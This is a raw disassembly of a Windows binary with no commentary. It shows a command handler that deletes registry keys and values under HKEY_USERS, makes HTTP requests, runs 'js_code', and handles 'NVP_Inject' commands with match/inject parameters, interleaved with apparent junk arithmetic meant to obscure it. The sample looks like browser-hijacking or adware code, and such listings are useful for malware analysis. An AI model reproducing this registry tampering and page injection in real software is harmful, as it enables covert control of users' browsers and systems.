mov al, cl
sub al, r12b
cmp al, 2
jbe 0x140050917
cmp cl, 5
jne 0x1400535c2
mov byte [rsp + 0x60], dil
mov qword [rsp + 0x148], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xbe0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0x1038], rax
lea rcx, [0x1401a0a38]
cmp rax, rcx
je 0x140050bad
mov ecx, dword [0x14019fd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 0xa
jne 0x14005099d
sub dword [0x1401a156c], r12d
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xbf0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xe90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc00], rdx
lea rcx, [rsp + 0x398]
call fcn.1400029b8
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x148], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x398]
call fcn.140002c54
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x148], rbx
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050a49
mov rdx, qword [rsp + 0x4d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x148], rdi
je 0x140050bad
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x1088], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xc10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xea0], rdx
lea rcx, [rsp + 0x360]
call fcn.1400029b8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc20], rax
lea rdx, [0x140134288]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x1048], rax
mov rcx, rax
call fcn.14002d48c
mov dword [rsp + 0x188], eax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc30], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xeb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc40], rdx
lea rcx, [rsp + 0x2e0]
call fcn.1400029b8
nop
mov r9, qword [rsp + 0x148]
lea r8, [rsp + 0x360]
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x2e0]
call fcn.14003a1ac
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050b7b
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050d1e
mov rdx, qword [rsp + 0x4f8]
jmp 0x140050d15
lea rax, [rsp + 0x508]
mov qword [rsp + 0xfd8], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc50], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xec0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc60], rdx
lea rcx, [rsp + 0x3a0]
call fcn.1400029b8
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xfd0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xc70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xed0], rdx
lea rcx, [rsp + 0x2f0]
call fcn.1400029b8
nop
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x508]
call fcn.140001cb0
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc80], rax
lea rdx, [0x140134288]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xfc8], rax
mov rcx, rax
call fcn.14002d48c
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x14019ad58]
lea r8, [rsp + 0x3a0]
lea rcx, [rsp + 0x2f0]
call fcn.14003aaac
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x2f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050cec
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050d1e
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x1400535c2
mov al, byte [rsp + 0x60]
jmp 0x140050835
lea rdx, str.removePref
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140051507
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xc90], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xee0], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov byte [rsp + 0x61], dil
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xca0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0x1000], rax
lea rcx, [0x1401a0a38]
mov rdx, rbx
cmp rax, rcx
lea rcx, [rsp + 0x68]
je 0x14005124f
call fcn.14002d968
mov qword [rsp + 0xcb0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xef0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc0], rdx
lea rcx, [rsp + 0x1e0]
call fcn.1400029b8
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x1e0]
call fcn.140002c54
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1010], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xcd0], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xf00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xce0], rdx
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xf8], eax
test eax, eax
je 0x140050f9d
test r14, r14
je 0x140050eac
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050edf
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050f0f
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x140050f27
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], 0xf
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050f76
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x1020], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xcf0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf20], rdx
lea rcx, [rsp + 0x300]
call fcn.1400029b8
nop
mov rdx, qword [rsp + 0x300]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x808], eax
mov rcx, qword [rsp + 0x1d0]
test eax, eax
jne 0x1400510e3
lea rdx, [0x14012e2f8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov r10d, eax
mov dword [rsp + 0xf8], eax
test eax, eax
jne 0x140051077
test r14, r14
je 0x140051035
mov word [r14 + 8], si
lea r15d, [rax + 0xb]
mov word [r14], r15w
mov eax, dword [0x14019fd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xc
jne 0x14005111c
lea rcx, [rsp + 0x31c0]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x14005111c
mov r9d, dword [0x14019fd80]
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 0xa
jne 0x1400510d8
mov r8d, edi
mov dword [rsp + 0x208], edi
movsxd r11, r8d
cmp r11, 0x1a
jae 0x1400510d8
lea ecx, [r8 + r9]
mov eax, r9d
sub eax, r8d
cdq
idiv ecx
mov dword [rsp + r11*4 + 0x3270], edx
add r8d, r12d
mov dword [rsp + 0x208], r8d
jmp 0x1400510ad
test r14, r14
je 0x14005111c
mov dword [r14 + 8], r10d
jmp 0x1400510fd
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0xf8], eax
test eax, eax
je 0x140051108
test r14, r14
je 0x14005111c
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
jmp 0x14005111c
test r14, r14
je 0x14005111c
mov word [r14 + 8], si
mov r15d, 0xb
mov word [r14], r15w
mov rcx, qword [rsp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005115e
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051191
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400511c1
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x1400511d9
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], 0xf
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051228
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x14005370d
call fcn.14002d968
mov qword [rsp + 0xd00], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x1030], rax
cmp byte [rax + 8], 4
jne 0x1400513d1
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xd10], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xf40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd20], rdx
lea rcx, [rsp + 0x3a8]
call fcn.1400029b8
nop
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x310]
call fcn.140001cb0
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x1040], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xd30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf60], rdx
lea rcx, [rsp + 0x370]
call fcn.1400029b8
nop
lea r8, [rsp + 0x3a8]
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x370]
call fcn.1400395e4
mov byte [rsp + 0x61], al
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005136c
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005139f
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400514f5
mov rdx, qword [rsp + 0x5c8]
jmp 0x1400514ec
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x280]
call fcn.140001cb0
nop
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x380]
call fcn.140001cb0
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x948], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x958], rax
mov rdx, qword [rax]
mov qword [rsp + 0x968], rdx
lea rcx, [rsp + 0x320]
call fcn.1400029b8
nop
lea r8, [rsp + 0x280]
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x320]
call fcn.1400395e4
mov byte [rsp + 0x61], al
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051490
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400514c3
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x280]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400514f5
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x1400535c2
mov al, byte [rsp + 0x61]
jmp 0x140050835
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
je 0x14005265d
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
je 0x14005265d
lea rdx, str.requestGet
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140051bc7
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
lea rcx, [0x14012e2f8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
mov qword [rsp + 0x298], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x978], rax
lea r13, [0x1401319ac]
mov rdx, r13
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x988], rax
cmp byte [rax + 8], 4
jne 0x140051b15
test r15, r15
je 0x140051b15
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x998], rax
mov rdx, r13
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x9a8], rax
lea rdx, [rsp + 0x30b0]
mov rcx, rax
call fcn.14002d20c
mov qword [rsp + 0x9b8], rax
cmp qword [rax + 0x18], 0x10
jb 0x140051603
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.1400029b8
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x30b0]
call fcn.14000136c
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xa8]
call fcn.14000d3f0
mov ebx, eax
mov dword [rsp + 0x198], eax
test eax, eax
jle 0x14005174d
add ebx, 6
mov dword [rsp + 0x198], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xa8]
call fcn.1400bb8f8
mov qword [rsp + 0x9c8], rax
test rax, rax
jne 0x14005167c
mov eax, esi
jmp 0x140051687
sub rax, qword [rsp + 0xa8]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x608]
lea rcx, [rsp + 0xa8]
call fcn.14000d430
nop
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140001d7c
nop
mov rcx, qword [rsp + 0x608]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400516e8
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rdx, str.js_code
lea rcx, [rsp + 0x288]
call fcn.1400029b8
nop
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0xa8]
call fcn.1400195e8
nop
mov rcx, qword [rsp + 0x288]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051745
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r15, qword [rsp + 0x298]
xor edx, edx
lea rcx, [rsp + 0x3e8]
call fcn.14002ce80
nop
lea rdx, [0x140131a14]
lea rcx, [rsp + 0xf08]
call fcn.14002cef8
nop
lea rdx, [0x1401319e8]
lea rcx, [rsp + 0x3e8]
call fcn.14002d968
mov rcx, rax
lea rdx, [rsp + 0xf08]
call fcn.14002d184
nop
lea rcx, [rsp + 0xf08]
call fcn.14002d0d8
mov r9d, dword [0x14019fd80]
mov ecx, r9d
imul ecx, r9d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xd
jne 0x140051808
mov r8d, edi
mov dword [rsp + 0x23c], edi
movsxd r10, r8d
cmp r10, 0x100
jae 0x140051808
mov eax, r9d
sub eax, r8d
lea ecx, [r8 + r9]
cdq
idiv ecx
mov dword [rsp + r10*4 + 0x37e0], edx
add r8d, r12d
mov dword [rsp + 0x23c], r8d
jmp 0x1400517da
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x9d8], rax
mov rdx, r13
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x9e8], rax
lea rdx, [rsp + 0x30f0]
mov rcx, rax
call fcn.14002d20c
nop
mov rdx, rax
lea rcx, [rsp + 0xf28]
call fcn.14002cf3c
nop
mov rdx, r13
lea rcx, [rsp + 0x3e8]
call fcn.14002d968
mov rcx, rax
lea rdx, [rsp + 0xf28]
call fcn.14002d184
nop
lea rcx, [rsp + 0xf28]
call fcn.14002d0d8
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x30f0]
call fcn.14000136c
lea rdx, [0x140131a24]
lea rcx, [rsp + 0xf48]
call fcn.14002cef8
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x3e8]
call fcn.14002d968
mov rcx, rax
lea rdx, [rsp + 0xf48]
call fcn.14002db50
nop
lea rcx, [rsp + 0xf48]
call fcn.14002d0d8
lea rdx, [0x140131a44]
lea rcx, [rsp + 0xf68]
call fcn.14002cef8
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x3e8]
call fcn.14002d968
mov rcx, rax
lea rdx, [rsp + 0xf68]
call fcn.14002d184
nop
lea rcx, [rsp + 0xf68]
call fcn.14002d0d8
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xf88]
call fcn.14002cef8
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x3e8]
call fcn.14002d968
mov rcx, rax
lea rdx, [rsp + 0xf88]
call fcn.14002d184
nop
lea rcx, [rsp + 0xf88]
call fcn.14002d0d8
mov qword [rsp + 0x638], rdi
lea r9, [rsp + 0x3e8]
lea r8, [rsp + 0x638]
mov rdx, r15
lea rcx, [rsp + 0xfa8]
call fcn.140024b34
nop
mov ecx, dword [0x14019fd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
cmp r8d, r12d
jne 0x1400519e2
call fcn.1400b99c8
mov ecx, dword [0x14019fd80]
cmp ecx, eax
jne 0x1400519e2
sub ecx, r12d
mov dword [0x14019fd80], ecx
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x140051ae7
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x2f20], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x2f20], rax
mov qword [rsp + 0x2f38], rdi
mov qword [rsp + 0x2f40], rdi
mov qword [rsp + 0x2f40], 0xf
mov qword [rsp + 0x2f38], rdi
mov byte [rsp + 0x2f28], dil
mov byte [rsp + 0x2f48], dil
lea r8, [rsp + 0xfa8]
lea rdx, [rsp + 0x30d0]
lea rcx, [rsp + 0x2f20]
call fcn.14002fb1c
mov qword [rsp + 0x9f8], rax
cmp qword [rax + 0x18], 0x10
jb 0x140051a75
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2a8]
call fcn.1400029b8
nop
lea rcx, [rsp + 0x30d0]
call fcn.14000133c
mov rcx, qword [rsp + 0x2a8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x440], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa08], rax
test rax, rax
jne 0x140051abd
call fcn.140001fb4
mov qword [r14 + 8], rax
mov r15d, 8
mov word [r14], r15w
lea rcx, [rsp + 0x2a8]
call fcn.140001d4c
nop
lea rcx, [rsp + 0x2f20]
call fcn.1400097d0
nop
lea rcx, [rsp + 0xfa8]
call fcn.14002d0d8
nop
lea rcx, [rsp + 0x3e8]
call fcn.14002d0d8
nop
lea rcx, [rsp + 0xa8]
call fcn.140001d4c
jmp 0x1400535c2
test r14, r14
je 0x140051b29
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051b59
mov rdx, qword [rsp + 0x648]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x2ec0]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051ba0
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140051bef
test r14, r14
je 0x1400535c2
mov word [r14 + 8], si
jmp 0x14005083f
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140052178
mov r8d, dword [0x14019fd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x11
jne 0x140051c3c
sub r8d, r12d
mov dword [0x14019fd80], r8d
test r14, r14
je 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xa18], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0xa28], rax
lea r15, [0x1401a0a38]
cmp rax, r15
je 0x14005212a
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xa38], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0xa48], rax
cmp rax, r15
je 0x14005212a
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xa58], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0xa68], rax
cmp rax, r15
je 0x14005212a
lea r15, str.param
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xa78], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xa88], rax
cmp byte [rax + 8], r12b
jne 0x14005212a
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xa98], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xaa8], rax
cmp byte [rax + 8], r12b
jne 0x14005212a
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xab8], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xac8], rax
cmp byte [rax + 8], 4
jne 0x14005212a
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xad8], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xae8], rax
lea rdx, [rsp + 0x2ee0]
mov rcx, rax
call fcn.14002d20c
nop
mov ecx, dword [0x14019fd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub r8d, eax
